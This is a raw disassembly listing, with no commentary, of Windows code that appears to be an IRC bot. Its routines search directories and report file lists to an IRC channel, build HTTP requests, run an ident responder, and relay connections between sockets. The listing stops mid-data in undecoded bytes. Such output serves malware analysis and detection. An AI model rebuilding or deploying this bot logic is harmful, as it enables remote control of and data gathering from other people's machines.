sub_41B980 add esp, 0Ch jmp short loc_40FAC8 ; --------------------------------------------------------------------------- loc_40FAAE: ; CODE XREF: sub_40F96A+63j mov esi, 200h push offset aSearchingForS ; "Searching for: %s\r\n" lea eax, [ebp+var_248] push esi push eax call sub_41B980 add esp, 10h loc_40FAC8: ; CODE XREF: sub_40F96A+5Aj ; sub_40F96A+142j lea eax, [ebp+var_248] push ebx push eax call sub_41AFE0 pop ecx push eax lea eax, [ebp+var_248] push eax push [ebp+arg_4] call dword_4CAFC4 cmp [ebp+arg_C], ebx jz short loc_40FB63 push [ebp+arg_C] call sub_41AFE0 cmp eax, 2 pop ecx jbe short loc_40FB63 push [ebp+arg_C] call sub_41AFE0 sub eax, 3 pop ecx jz short loc_40FB14 loc_40FB08: ; CODE XREF: sub_40F96A+1A8j mov ecx, [ebp+arg_C] cmp byte ptr [eax+ecx], 2Fh jz short loc_40FB14 dec eax jnz short loc_40FB08 loc_40FB14: ; CODE XREF: sub_40F96A+19Cj ; sub_40F96A+1A5j inc eax push eax lea eax, [ebp+var_594] push [ebp+arg_C] push eax call sub_41B5F0 add esp, 0Ch lea eax, [ebp+var_594] push eax push offset aTrTdColspan3AH ; "<TR>\r\n<TD COLSPAN=\"3\"><A HREF=\"%s\"><COD"... lea eax, [ebp+var_248] push esi push eax call sub_41B980 add esp, 10h lea eax, [ebp+var_248] push ebx push eax call sub_41AFE0 pop ecx push eax lea eax, [ebp+var_248] push eax push [ebp+arg_4] call dword_4CAFC4 loc_40FB63: ; CODE XREF: sub_40F96A+180j ; sub_40F96A+18Ej lea eax, [ebp+var_388] push eax push edi call near ptr 25C0000h nop lea ecx, [ebp+var_388] mov [ebp+arg_0], eax push ecx push eax nop call near ptr 27402F2h test eax, eax jz loc_40FF53 mov edi, 1FFh loc_40FB8F: ; CODE XREF: sub_40F96A+5E3j cmp [ebp+var_388], ebx jz loc_40FF3B lea eax, [ebp+var_35C] push offset a__ ; ".." push eax call sub_41C070 pop ecx test eax, eax pop ecx jz loc_40FF3B lea eax, [ebp+var_35C] push offset a_ ; "." push eax call sub_41C070 pop ecx test eax, eax pop ecx jz loc_40FF3B lea eax, [ebp+var_20] push eax lea eax, [ebp+var_374] push eax nop call near ptr 2740000h lea eax, [ebp+var_18] push eax lea eax, [ebp+var_20] push eax nop call near ptr 273080Ch mov ax, [ebp+var_10] mov ecx, offset aPm ; "PM" cmp ax, 0Ch ja short loc_40FC04 mov ecx, offset aAm ; "AM" loc_40FC04: ; CODE XREF: sub_40F96A+293j cmp ax, 0Ch movzx eax, ax jbe short loc_40FC10 sub eax, 0Ch loc_40FC10: ; CODE XREF: sub_40F96A+2A1j push ecx movzx ecx, [ebp+var_E] push ecx push eax movzx eax, [ebp+var_18] push eax movzx eax, [ebp+var_12] push eax movzx eax, [ebp+var_16] push eax lea eax, [ebp+var_48] push offset a2_2d2_2d4d2_2d ; "%2.2d/%2.2d/%4d %2.2d:%2.2d %s" push eax call sub_41B886 add esp, 20h test byte ptr [ebp+var_388], 10h jz loc_40FDB3 inc [ebp+var_8] cmp [ebp+arg_8], ebx jz short loc_40FC84 lea eax, [ebp+var_35C] push eax push offset aS ; "<%s>" lea eax, [ebp+var_490] push 106h push eax call sub_41B980 add esp, 10h lea eax, [ebp+var_48] push eax lea eax, [ebp+var_490] push eax push [ebp+arg_8] push offset aPrivmsgS31s21s ; "PRIVMSG %s :%-31s %-21s\n" jmp loc_40FEFC ; --------------------------------------------------------------------------- loc_40FC84: ; CODE XREF: sub_40F96A+2E0j cmp [ebp+arg_C], ebx jz loc_40FD6E push 0E6h push offset aTrTdWidthDAHre ; "<TR>\r\n<TD WIDTH=\"%d\"><A HREF=\"" lea eax, [ebp+var_248] push edi push eax call sub_41B980 add esp, 10h lea eax, [ebp+var_248] push ebx push eax call sub_41AFE0 pop ecx push eax lea eax, [ebp+var_248] push eax push [ebp+arg_4] call dword_4CAFC4 lea eax, [ebp+var_35C] push eax lea eax, [ebp+var_248] push [ebp+arg_C] push offset aSS_0 ; "%s%s/" push edi push eax call sub_41B980 add esp, 14h lea eax, [ebp+var_248] push ebx push eax call sub_41AFE0 pop ecx push eax lea eax, [ebp+var_248] push eax push [ebp+arg_4] call dword_4CAFC4 lea eax, [ebp+var_35C] push eax call sub_41AFE0 cmp eax, 1Eh pop ecx lea eax, [ebp+var_35C] push eax jbe short loc_40FD24 push offset aCode_29sGtCode ; "\"><CODE>%.29s>/</CODE></A>" jmp short loc_40FD29 ; --------------------------------------------------------------------------- loc_40FD24: ; CODE XREF: sub_40F96A+3B1j push offset aCodeSCodeA ; "\"><CODE>%s/</CODE></A>" loc_40FD29: ; CODE XREF: sub_40F96A+3B8j lea eax, [ebp+var_248] push edi push eax call sub_41B980 add esp, 10h lea eax, [ebp+var_248] push ebx push eax call sub_41AFE0 pop ecx push eax lea eax, [ebp+var_248] push eax push [ebp+arg_4] call dword_4CAFC4 lea eax, [ebp+var_48] push 3Ch push eax push 96h push offset aTdTdWidthDCode ; "</TD>\r\n<TD WIDTH=\"%d\"><CODE>%s</CODE></"... push edi jmp loc_40FEFD ; --------------------------------------------------------------------------- loc_40FD6E: ; CODE XREF: sub_40F96A+31Dj lea eax, [ebp+var_35C] push eax push offset aS ; "<%s>" lea eax, [ebp+var_490] push 106h push eax call sub_41B980 add esp, 10h lea eax, [ebp+var_48] push eax lea eax, [ebp+var_490] push eax push offset a31s21s ; "%-31s %-21s\r\n" lea eax, [ebp+var_248] push esi push eax call sub_41B980 add esp, 14h jmp loc_40FF0C ; --------------------------------------------------------------------------- loc_40FDB3: ; CODE XREF: sub_40F96A+2D4j inc [ebp+var_4] cmp [ebp+arg_8], ebx jz short loc_40FDF2 push ebx push [ebp+var_368] call sub_416922 pop ecx pop ecx push eax lea eax, [ebp+var_48] push eax lea eax, [ebp+var_35C] push eax push [ebp+arg_8] push offset aPrivmsgS31s2_0 ; "PRIVMSG %s :%-31s %-21s (%s bytes)\n" push esi loc_40FDDE: ; CODE XREF: sub_40F96A+577j lea eax, [ebp+var_248] push eax call sub_41B980 add esp, 1Ch jmp loc_40FF0C ; --------------------------------------------------------------------------- loc_40FDF2: ; CODE XREF: sub_40F96A+44Fj cmp [ebp+arg_C], ebx jz loc_40FEE6 push 0E6h push offset aTrTdWidthDAHre ; "<TR>\r\n<TD WIDTH=\"%d\"><A HREF=\"" lea eax, [ebp+var_248] push edi push eax call sub_41B980 add esp, 10h lea eax, [ebp+var_248] push ebx push eax call sub_41AFE0 pop ecx push eax lea eax, [ebp+var_248] push eax push [ebp+arg_4] call dword_4CAFC4 lea eax, [ebp+var_35C] push eax lea eax, [ebp+var_248] push [ebp+arg_C] push offset dword_4293C4 push edi push eax call sub_41B980 add esp, 14h lea eax, [ebp+var_248] push ebx push eax call sub_41AFE0 pop ecx push eax lea eax, [ebp+var_248] push eax push [ebp+arg_4] call dword_4CAFC4 lea eax, [ebp+var_35C] push eax call sub_41AFE0 cmp eax, 1Fh pop ecx lea eax, [ebp+var_35C] push eax jbe short loc_40FE92 push offset aCode_30sGtCode ; "\"><CODE>%.30s></CODE></A>" jmp short loc_40FE97 ; --------------------------------------------------------------------------- loc_40FE92: ; CODE XREF: sub_40F96A+51Fj push offset aCodeSCodeA_0 ; "\"><CODE>%s</CODE></A>" loc_40FE97: ; CODE XREF: sub_40F96A+526j lea eax, [ebp+var_248] push edi push eax call sub_41B980 add esp, 10h lea eax, [ebp+var_248] push ebx push eax call sub_41AFE0 pop ecx push eax lea eax, [ebp+var_248] push eax push [ebp+arg_4] call dword_4CAFC4 mov eax, [ebp+var_368] shr eax, 0Ah push eax lea eax, [ebp+var_48] push 3Ch push eax push 96h push offset aTdTdWidthDCo_0 ; "</TD>\r\n<TD WIDTH=\"%d\"><CODE>%s</CODE></"... push edi jmp loc_40FDDE ; --------------------------------------------------------------------------- loc_40FEE6: ; CODE XREF: sub_40F96A+48Bj push [ebp+var_368] lea eax, [ebp+var_48] push eax lea eax, [ebp+var_35C] push eax push offset a31s21sIBytes ; "%-31s %-21s (%i bytes)\r\n" loc_40FEFC: ; CODE XREF: sub_40F96A+315j push esi loc_40FEFD: ; CODE XREF: sub_40F96A+3FFj lea eax, [ebp+var_248] push eax call sub_41B980 add esp, 18h loc_40FF0C: ; CODE XREF: sub_40F96A+444j ; sub_40F96A+483j lea eax, [ebp+var_248] push ebx push eax call sub_41AFE0 pop ecx push eax lea eax, [ebp+var_248] push eax push [ebp+arg_4] call dword_4CAFC4 cmp [ebp+arg_8], ebx jz short loc_40FF3B push 7D0h nop call near ptr 2660F57h loc_40FF3B: ; CODE XREF: sub_40F96A+22Bj ; sub_40F96A+246j ... lea eax, [ebp+var_388] push eax push [ebp+arg_0] nop call near ptr 27402F2h test eax, eax jnz loc_40FB8F loc_40FF53: ; CODE XREF: sub_40F96A+21Aj push [ebp+arg_0] nop call near ptr 2730000h cmp [ebp+arg_8], ebx jz short loc_40FF96 mov eax, [ebp+var_8] cdq push edx push eax call sub_416922 pop ecx pop ecx push eax mov eax, [ebp+var_4] cdq push edx push eax call sub_416922 pop ecx pop ecx push eax lea eax, [ebp+var_248] push [ebp+arg_8] push offset aPrivmsgSFoundS ; "PRIVMSG %s :Found %s Files and %s Direc"... push eax call sub_41B886 add esp, 14h jmp short loc_40FFCA ; --------------------------------------------------------------------------- loc_40FF96: ; CODE XREF: sub_40F96A+5F5j cmp [ebp+arg_C], ebx jz short loc_40FFB0 lea eax, [ebp+var_248] push offset aTrTdColspan3_0 ; "<TR>\r\n<TD COLSPAN=\"3\"><HR></TD>\r\n</TR>\r"... push eax call sub_41B886 pop ecx pop ecx jmp short loc_40FFCA ; --------------------------------------------------------------------------- loc_40FFB0: ; CODE XREF: sub_40F96A+62Fj push [ebp+var_8] lea eax, [ebp+var_248] push [ebp+var_4] push offset aFoundIFilesAnd ; "Found: %i Files and %i Directories\r\n" push eax call sub_41B886 add esp, 10h loc_40FFCA: ; CODE XREF: sub_40F96A+62Aj ; sub_40F96A+644j lea eax, [ebp+var_248] push ebx push eax call sub_41AFE0 pop ecx push eax lea eax, [ebp+var_248] push eax push [ebp+arg_4] call dword_4CAFC4 pop edi pop esi xor eax, eax pop ebx leave retn sub_40F96A endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_40FFF0 proc near ; CODE XREF: sub_40F530+13Cp var_404 = byte ptr -404h var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch push ebp mov ebp, esp sub esp, 404h push ebx push esi xor esi, esi push edi push esi push esi push 3 push esi push 1 push 80000000h push [ebp+arg_4] mov edi, 400h mov [ebp+var_4], esi nop call near ptr 26F0809h mov ebx, eax cmp ebx, 0FFFFFFFFh jz loc_4100A8 push esi push ebx nop call near ptr 2720A8Fh cmp eax, esi mov [ebp+arg_4], eax jz short loc_4100A1 loc_410035: ; CODE XREF: sub_40FFF0+AFj push 400h lea eax, [ebp+var_404] push esi push eax call sub_41B590 add esp, 0Ch cmp edi, [ebp+arg_4] loc_41004D: ; DATA XREF: ___:00437A30o ; ___:00437A44o jbe short loc_410052 mov edi, [ebp+arg_4] loc_410052: ; CODE XREF: sub_40FFF0:loc_41004Dj mov eax, [ebp+arg_4] push 2 neg eax push esi push eax push ebx call near ptr 2750000h nop lea eax, [ebp+var_4] push esi push eax lea eax, [ebp+var_404] push edi push eax push ebx nop call near ptr 26F0000h push esi lea eax, [ebp+var_404] push edi push eax push [ebp+arg_0] call dword_4CAFC4 cmp eax, 0FFFFFFFFh jnz short loc_41009C call dword_4CAF08 cmp eax, 2733h jnz short loc_4100A1 xor eax, eax loc_41009C: ; CODE XREF: sub_40FFF0+9Bj sub [ebp+arg_4], eax jnz short loc_410035 loc_4100A1: ; CODE XREF: sub_40FFF0+43j ; sub_40FFF0+A8j push ebx call near ptr 2651957h nop loc_4100A8: ; CODE XREF: sub_40FFF0+30j pop edi pop esi pop ebx leave retn sub_40FFF0 endp ; =============== S U B R O U T I N E ======================================= sub_4100AD proc near ; CODE XREF: sub_40F6B3+181p arg_0 = dword ptr 4 push esi push edi mov edi, [esp+8+arg_0] xor esi, esi push edi call sub_41AFE0 test eax, eax pop ecx jbe short loc_4100D6 loc_4100C0: ; CODE XREF: sub_4100AD+27j cmp byte ptr [esi+edi], 5Ch jnz short loc_4100CA mov byte ptr [esi+edi], 2Fh loc_4100CA: ; CODE XREF: sub_4100AD+17j push edi inc esi call sub_41AFE0 cmp esi, eax pop ecx jb short loc_4100C0 loc_4100D6: ; CODE XREF: sub_4100AD+11j mov eax, edi pop edi pop esi retn sub_4100AD endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_4100DB proc near ; CODE XREF: sub_401ACD+5297p var_4A0 = byte ptr -4A0h var_310 = byte ptr -310h var_110 = byte ptr -110h var_10 = word ptr -10h var_E = word ptr -0Eh var_C = dword ptr -0Ch arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h arg_C = dword ptr 14h arg_10 = dword ptr 18h arg_14 = dword ptr 1Ch arg_18 = dword ptr 20h arg_1C = dword ptr 24h arg_20 = dword ptr 28h push ebp mov ebp, esp sub esp, 4A0h push ebx lea eax, [ebp+var_4A0] push edi push eax push 101h call dword_4CAEE4 push 6 push 1 push 2 call dword_4CAFF4 mov ebx, eax xor edi, edi push 10h lea eax, [ebp+var_10] push edi push eax call sub_41B590 add esp, 0Ch mov [ebp+var_10], 2 push [ebp+arg_14] call dword_4CAF74 push [ebp+arg_10] mov [ebp+var_E], ax call sub_40AAF9 pop ecx mov [ebp+var_C], eax lea eax, [ebp+var_10] push 10h push eax push ebx call dword_4CAF1C cmp eax, 0FFFFFFFFh jz short loc_4101B8 mov eax, [ebp+arg_20] cmp eax, edi jnz short loc_410154 mov eax, offset dword_43D128 loc_410154: ; CODE XREF: sub_4100DB+72j push esi mov esi, 100h push [ebp+arg_10] push eax lea eax, [ebp+var_110] push [ebp+arg_1C] push [ebp+arg_18] push offset aSSHttp1_1Refer ; "%s %s HTTP/1.1\nReferer: %s\nHost: %s\nCon"... push esi push eax call sub_41B980 add esp, 1Ch lea eax, [ebp+var_110] push edi push eax call sub_41AFE0 pop ecx push eax lea eax, [ebp+var_110] push eax push ebx call dword_4CAFC4 push esi lea eax, [ebp+var_110] push edi push eax call sub_41C310 add esp, 0Ch lea eax, [ebp+var_110] push edi push esi push eax push ebx call dword_4CAF8C pop esi loc_4101B8: ; CODE XREF: sub_4100DB+6Bj push ebx call dword_4CB00C call dword_4CAECC lea eax, [ebp+var_110] push eax lea eax, [ebp+var_310] push eax call sub_41B886 cmp [ebp+arg_C], edi pop ecx pop ecx jnz short loc_4101F8 push edi lea eax, [ebp+var_310] push [ebp+arg_8] push eax push [ebp+arg_4] push [ebp+arg_0] call sub_409A72 add esp, 14h loc_4101F8: ; CODE XREF: sub_4100DB+102j pop edi pop ebx leave retn sub_4100DB endp ; --------------------------------------------------------------------------- loc_4101FC: ; DATA XREF: ___:00401666o ; sub_401ACD+4369o push ebp mov ebp, esp sub esp, 238h push ebx push esi push edi push 10h pop edi xor esi, esi push edi lea eax, [ebp-1Ch] push esi push eax mov [ebp-8], esi call sub_41B590 add esp, 0Ch mov word ptr [ebp-1Ch], 2 push 71h call dword_4CAF74 push esi push 1 push 2 mov [ebp-1Ah], ax mov [ebp-18h], esi call dword_4CAFF4 mov ebx, eax cmp ebx, 0FFFFFFFFh jz loc_410360 mov eax, [ebp+8] push edi imul eax, 234h mov dword_43DEBC[eax], ebx lea eax, [ebp-1Ch] push eax push ebx call dword_4CAFA0 cmp eax, 0FFFFFFFFh jz loc_410360 push 5 push ebx call dword_4CAF9C cmp eax, 0FFFFFFFFh jz loc_410360 mov [ebp-0Ch], edi mov edi, 200h loc_410287: ; CODE XREF: ___:004102E6j ; ___:00410349j ... lea eax, [ebp-0Ch] push eax lea eax, [ebp-2Ch] push eax push ebx call dword_4CB008 cmp eax, 0FFFFFFFFh mov [ebp-4], eax jz loc_41035B movzx eax, word ptr [ebp-2Ah] push eax push dword ptr [ebp-28h] call dword_4CB000 push eax lea eax, [ebp-238h] push offset dword_433F94 push eax call sub_41B886 lea eax, [ebp-238h] push eax call sub_4151AC add esp, 14h lea eax, [ebp-238h] push esi push edi push eax push dword ptr [ebp-4] call dword_4CAF8C cmp eax, 0FFFFFFFFh jz short loc_410287 lea eax, [ebp-238h] push esi push eax call sub_417F7F push 0Ch lea eax, [ebp-38h] push esi push eax call sub_41B590 push esi push esi lea eax, [ebp-38h] push 2 push eax call sub_40B08D add esp, 24h push eax push offset aUseridUnixS ; " : USERID : UNIX : %s\r\n" lea eax, [ebp-238h] push edi push eax call sub_41B980 add esp, 10h lea eax, [ebp-238h] push esi push eax call sub_41AFE0 pop ecx push eax lea eax, [ebp-238h] push eax push dword ptr [ebp-4] call dword_4CAFC4 cmp eax, 0FFFFFFFFh jz loc_410287 mov dword ptr [ebp-8], 1 jmp loc_410287 ; --------------------------------------------------------------------------- loc_41035B: ; CODE XREF: ___:0041029Cj cmp [ebp-8], esi jnz short loc_410387 loc_410360: ; CODE XREF: ___:00410243j ; ___:00410267j ... call dword_4CAF08 push eax lea eax, [ebp-238h] push offset dword_433F50 push eax call sub_41B886 lea eax, [ebp-238h] push eax call sub_4151AC add esp, 10h loc_410387: ; CODE XREF: ___:0041035Ej push ebx call dword_4CB00C push dword ptr [ebp-4] call dword_4CB00C push dword ptr [ebp+8] call sub_40B412 pop ecx push esi nop call near ptr 26D0000h pop edi pop esi pop ebx loc_4103AA: ; DATA XREF: sub_401ACD+613Bo push ebp mov ebp, esp sub esp, 350h mov eax, [ebp+8] push esi push edi push 4Ah pop ecx mov esi, eax lea edi, [ebp-150h] push 10h rep movsd pop edi mov dword ptr [eax+120h], 1 xor esi, esi push edi lea eax, [ebp-14h] push esi push eax call sub_41B590 add esp, 0Ch mov word ptr [ebp-14h], 2 push dword ptr [ebp-44h] call dword_4CAF74 push 6 push 1 push 2 mov [ebp-12h], ax mov [ebp-10h], esi mov [ebp-4], edi call dword_4CAFF4 cmp eax, 0FFFFFFFFh mov [ebp+8], eax jz loc_410516 mov ecx, [ebp-40h] push 1 imul ecx, 234h push 401h push esi push eax mov dword_43DEBC[ecx], eax call dword_4CAE84 lea eax, [ebp-14h] push edi push eax push dword ptr [ebp+8] call dword_4CAFA0 test eax, eax jnz loc_410516 push 0Ah push dword ptr [ebp+8] call dword_4CAF9C test eax, eax jnz loc_410516 loc_41045A: ; CODE XREF: ___:00410470j lea eax, [ebp-4] push eax lea eax, [ebp-28h] push eax push dword ptr [ebp+8] call dword_4CB008 mov edi, eax cmp edi, 0FFFFFFFFh jz short loc_41045A movzx eax, word ptr [ebp-26h] push dword ptr [ebp-40h] mov [ebp-14Ch], edi mov [ebp-30h], esi push eax push dword ptr [ebp-24h] call dword_4CB000 push eax lea eax, [ebp-350h] push offset unk_433FFC push eax call sub_41B886 push edi lea eax, [ebp-350h] push 18h push eax call sub_40B0F6 mov [ebp-3Ch], eax imul eax, 234h mov ecx, [ebp-40h] add esp, 20h mov dword_43DEB4[eax], ecx lea eax, [ebp-18h] push eax lea eax, [ebp-150h] push esi push eax push offset loc_41053B push esi push esi ; --------------------------------------------------------------------------- db 0E8h, 26h, 0FBh dd 8B900225h, 0C969C44Dh, 234h, 8189C63Bh, 43DEC4h, 75391374h dd 63850FD0h, 6AFFFFFFh, 58E89032h, 0EB02250Ah, 25DE8EDh dd 50900226h, 433FC068h, 4D0EE800h, 59590000h ; --------------------------------------------------------------------------- jmp short loc_410519 ; --------------------------------------------------------------------------- loc_410516: ; CODE XREF: ___:0041040Dj ; ___:00410441j ... mov edi, [ebp+8] loc_410519: ; CODE XREF: ___:00410514j push edi call dword_4CB00C push dword ptr [ebp+8] call dword_4CB00C push dword ptr [ebp-40h] call sub_40B412 pop ecx push esi nop call near ptr 26D0000h pop edi pop esi loc_41053B: ; DATA XREF: ___:004104CEo push ebp mov ebp, esp mov eax, 1344h call sub_41BB20 mov eax, [ebp+8] push ebx push esi push edi push 4Ah mov esi, eax pop ecx lea edi, [ebp-144h] rep movsd mov ebx, [ebp-30h] push 1 pop ecx mov [ebp-4], ebx push 6 push ecx push 2 mov [eax+120h], ecx call dword_4CAFF4 mov esi, eax xor edi, edi cmp esi, 0FFFFFFFFh mov [ebp+8], esi jz loc_4106F1 push 10h lea eax, [ebp-18h] push edi push eax call sub_41B590 add esp, 0Ch mov word ptr [ebp-18h], 2 push dword ptr [ebp-3Ch] call dword_4CAF74 mov [ebp-16h], ax lea eax, [ebp-13Ch] push eax call dword_4CAFB4 cmp eax, 0FFFFFFFFh mov [ebp-8], eax jnz short loc_4105CB lea eax, [ebp-13Ch] push eax call dword_4CAFF8 jmp short loc_4105D9 ; --------------------------------------------------------------------------- loc_4105CB: ; CODE XREF: ___:004105BAj push 2 lea eax, [ebp-8] push 4 push eax call dword_4CAF2C loc_4105D9: ; CODE XREF: ___:004105C9j cmp eax, edi jz loc_4106F1 mov eax, [eax+0Ch] push 10h mov eax, [eax] mov eax, [eax] mov [ebp-14h], eax lea eax, [ebp-18h] push eax push esi call dword_4CAF1C cmp eax, 0FFFFFFFFh jz loc_4106F1 movzx eax, word ptr [ebp-16h] push dword ptr [ebp-34h] mov [ebp-20h], edi push eax push dword ptr [ebp-14h] call dword_4CB000 push eax lea eax, [ebp-344h] push offset unk_434084 push eax call sub_41B886 push esi lea eax, [ebp-344h] push 18h push eax call sub_40B0F6 imul ebx, 234h mov [ebp-30h], eax imul eax, 234h mov ecx, [ebp-34h] lea esi, dword_43DEBC[ebx] mov dword_43DEB4[eax], ecx add esp, 20h mov ecx, [esi] mov dword_43DEC0[eax], ecx lea eax, [ebp-1Ch] push eax lea eax, [ebp-144h] push edi push eax push offset loc_410722 push edi push edi nop call near ptr 2670000h mov ecx, [ebp-30h] imul ecx, 234h cmp eax, edi mov dword_43DEC4[ecx], eax jz short loc_4106DE loc_41068B: ; CODE XREF: ___:00410698j cmp [ebp-20h], edi jnz short loc_41069A push 32h nop call near ptr 2660F57h jmp short loc_41068B ; --------------------------------------------------------------------------- loc_41069A: ; CODE XREF: ___:0041068Ej mov ebx, 1000h loc_41069F: ; CODE XREF: ___:004106DAj push ebx lea eax, [ebp-1344h] push edi push eax call sub_41B590 add esp, 0Ch lea eax, [ebp-1344h] push edi push ebx push eax push dword ptr [esi] call dword_4CAF8C cmp eax, edi jle short loc_4106F1 push edi push eax lea eax, [ebp-1344h] push eax push dword ptr [ebp+8] call dword_4CAFC4 cmp eax, 0FFFFFFFFh jnz short loc_41069F jmp short loc_4106F1 ; --------------------------------------------------------------------------- loc_4106DE: ; CODE XREF: ___:00410689j call near ptr 2670763h nop push eax push offset unk_434044 call sub_415220 pop ecx pop ecx loc_4106F1: ; CODE XREF: ___:0041057Fj ; ___:004105DBj ... mov eax, [ebp-4] imul eax, 234h push dword_43DEBC[eax] call dword_4CB00C push dword ptr [ebp+8] call dword_4CB00C push dword ptr [ebp-4] call sub_40B412 pop ecx push edi nop call near ptr 26D0000h pop edi pop esi pop ebx loc_410722: ; DATA XREF: ___:0041066Bo push ebp mov ebp, esp mov eax, 1128h call sub_41BB20 mov eax, [ebp+8] push esi push edi push 4Ah pop ecx mov esi, eax lea edi, [ebp-128h] rep movsd mov esi, [ebp-14h] mov dword ptr [eax+124h], 1 imul esi, 234h mov edi, 1000h loc_410759: ; CODE XREF: ___:0041079Ej push edi lea eax, [ebp-1128h] push 0 push eax call sub_41B590 add esp, 0Ch lea eax, [ebp-1128h] push 0 push edi push eax push dword_43DEC0[esi] call dword_4CAF8C test eax, eax jle short loc_4107A0 push 0 push eax lea eax, [ebp-1128h] push eax push dword_43DEBC[esi] call dword_4CAFC4 cmp eax, 0FFFFFFFFh jnz short loc_410759 loc_4107A0: ; CODE XREF: ___:00410783j push dword_43DEC0[esi] call dword_4CB00C push dword ptr [ebp-14h] call sub_40B412 pop ecx push 0 nop ; --------------------------------------------------------------------------- dd 2BF843E8h ; --------------------------------------------------------------------------- add bl, [edi+5Eh] push ebp mov ebp, esp sub esp, 3D4h mov eax, [ebp+8] push ebx push esi push edi push 78h mov esi, eax pop ecx lea edi, [ebp-3D4h] push 1 mov dword ptr [ebp-0Ch], 1Eh pop ebx rep movsd mov [eax+1DCh], ebx mov eax, [ebp-208h] mov [ebp+8], eax imul eax, 234h lea esi, dword_43DEBC[eax] xor edi, edi mov [ebp-8], edi mov [ebp-1F4h], ebx mov eax, [esi] mov [ebp-1F0h], eax lea eax, [ebp-0Ch] push eax push edi lea eax, [ebp-1F4h] push edi push eax push edi call dword_4CAF5C test eax, eax jnz short loc_410843 push dword ptr [esi] call dword_4CB00C push dword ptr [ebp+8] call sub_40B412 pop ecx push edi nop call near ptr 26D0000h loc_410843: ; CODE XREF: ___:00410829j push edi lea eax, [ebp-3Ch] push ebx push eax push dword ptr [esi] call dword_4CAF8C lea eax, [ebp-2Ch] push 10h push eax push dword ptr [esi] call sub_4109C4 lea eax, [ebp-4Ch] push 10h push eax push dword ptr [esi] call sub_4109C4 lea eax, [ebp-0F0h] push 40h push eax push dword ptr [esi] call sub_4109C4 add esp, 24h lea eax, [ebp-4] mov dword ptr [ebp-4], 10h push eax lea eax, [ebp-1Ch] push eax push dword ptr [esi] call dword_4CAEC8 test eax, eax jz short loc_4108BC call dword_4CAF08 push eax push offset unk_43415C call sub_415220 push dword ptr [ebp+8] call sub_40B412 add esp, 0Ch push edi call near ptr 26D0000h nop loc_4108BC: ; CODE XREF: ___:00410897j push 2 lea eax, [ebp-18h] push 4 push eax call dword_4CAF2C cmp eax, edi jnz short loc_4108E6 push dword ptr [ebp-18h] call dword_4CB000 push eax lea eax, [ebp-0B0h] push eax call sub_41B886 jmp short loc_4108F4 ; --------------------------------------------------------------------------- loc_4108E6: ; CODE XREF: ___:004108CCj push dword ptr [eax] lea eax, [ebp-0B0h] push eax call sub_41BEB0 loc_4108F4: ; CODE XREF: ___:004108E4j pop ecx pop ecx push edi push ebx push offset dword_43D128 push dword ptr [esi] call dword_4CAFC4 cmp dword_4CDCD8, edi jnz short loc_410956 push dword ptr [ebp-18h] lea eax, [ebp-350h] push eax lea eax, [ebp-0B0h] push eax lea eax, [ebp-2Ch] push eax call sub_410A1E add esp, 10h test eax, eax jnz short loc_410956 push edi push 13h push offset aPermissionDeni ; "Permission denied\n" push dword ptr [esi] call dword_4CAFC4 push dword ptr [esi] call dword_4CB00C push dword ptr [ebp+8] call sub_40B412 pop ecx push edi call near ptr 26D0000h nop loc_410956: ; CODE XREF: ___:0041090Bj ; ___:0041092Cj lea eax, [ebp-0B0h] push eax lea eax, [ebp-2Ch] push eax push offset unk_434120 call sub_415220 push dword ptr [ebp+8] call sub_410CD5 add esp, 10h test eax, eax jnz short loc_41099D call near ptr 2670763h nop push eax push offset unk_4340F4 call sub_415220 push dword ptr [ebp+8] call sub_40B412 add esp, 0Ch push ebx nop call near ptr 26D0000h loc_41099D: ; CODE XREF: ___:00410978j lea eax, [ebp-0B0h] push eax lea eax, [ebp-2Ch] push eax push offset unk_4340C8 call sub_415220 push dword ptr [ebp+8] call sub_40B412 add esp, 10h push edi nop call near ptr 26D0000h ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_4109C4 proc near ; CODE XREF: ___:00410859p ; ___:00410866p ... var_1 = byte ptr -1 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h push ebp mov ebp, esp push ecx push esi push 0 lea eax, [ebp+var_1] push 1 push eax push [ebp+arg_0] call dword_4CAF8C cmp eax, 1 jnz short loc_410A14 mov esi, [ebp+arg_4] loc_4109E2: ; CODE XREF: sub_4109C4+41j mov al, [ebp+var_1] mov [esi], al inc esi dec [ebp+arg_8] jz short loc_410A09 test al, al jz short loc_410A18 push 0 lea eax, [ebp+var_1] push 1 push eax push [ebp+arg_0] call dword_4CAF8C cmp eax, 1 jz short loc_4109E2 jmp short loc_410A14 ; --------------------------------------------------------------------------- loc_410A09: ; CODE XREF: sub_4109C4+27j push offset unk_434188 call sub_415220 pop ecx loc_410A14: ; CODE XREF: sub_4109C4+19j ; sub_4109C4+43j xor eax, eax jmp short loc_410A1B ; --------------------------------------------------------------------------- loc_410A18: ; CODE XREF: sub_4109C4+2Bj push 1 pop eax loc_410A1B: ; CODE XREF: sub_4109C4+52j pop esi leave retn sub_4109C4 endp ; =============== S U B R O U T I N E ======================================= sub_410A1E proc near ; CODE XREF: ___:00410922p arg_0 = dword ptr 4 arg_4 = dword ptr 8 arg_8 = dword ptr 0Ch push [esp+arg_0] push [esp+4+arg_8] call sub_41C070 pop ecx test eax, eax pop ecx jz short loc_410A49 push [esp+arg_4] push [esp+4+arg_0] push offset dword_4341B4 call sub_415220 add esp, 0Ch xor eax, eax retn ; --------------------------------------------------------------------------- loc_410A49: ; CODE XREF: sub_410A1E+11j push 1 pop eax retn sub_410A1E endp ; --------------------------------------------------------------------------- byte_410A4D db 55h, 8Bh, 0ECh ; DATA XREF: sub_401ACD+23D4o dd 5A4EC81h, 458B0000h, 6A575608h, 0F08B5978h, 0FDECBD8Dh dd 16AFFFFh, 895FA5F3h, 1DCB8h, 5C858D00h, 50FFFFFAh, 20268h dd 0E415FF00h, 33004CAEh, 74C63BF6h, 2468501Dh, 0E8004343h dd 478Ch, 0E8B475FFh, 0FFFFA976h, 570CC483h, 0F55AE890h dd 6857022Bh, 410CCBh, 0CDE890h, 0C0850234h, 0A8E82975h dd 900225FCh, 42E06850h, 59E80043h, 59000047h, 0CC15FF59h dd 0FF004CAEh, 3BE8B475h, 59FFFFA9h, 0F522E857h, 5390022Bh dd 458D106Ah, 0E85056E0h, 0AAA4h, 660CC483h, 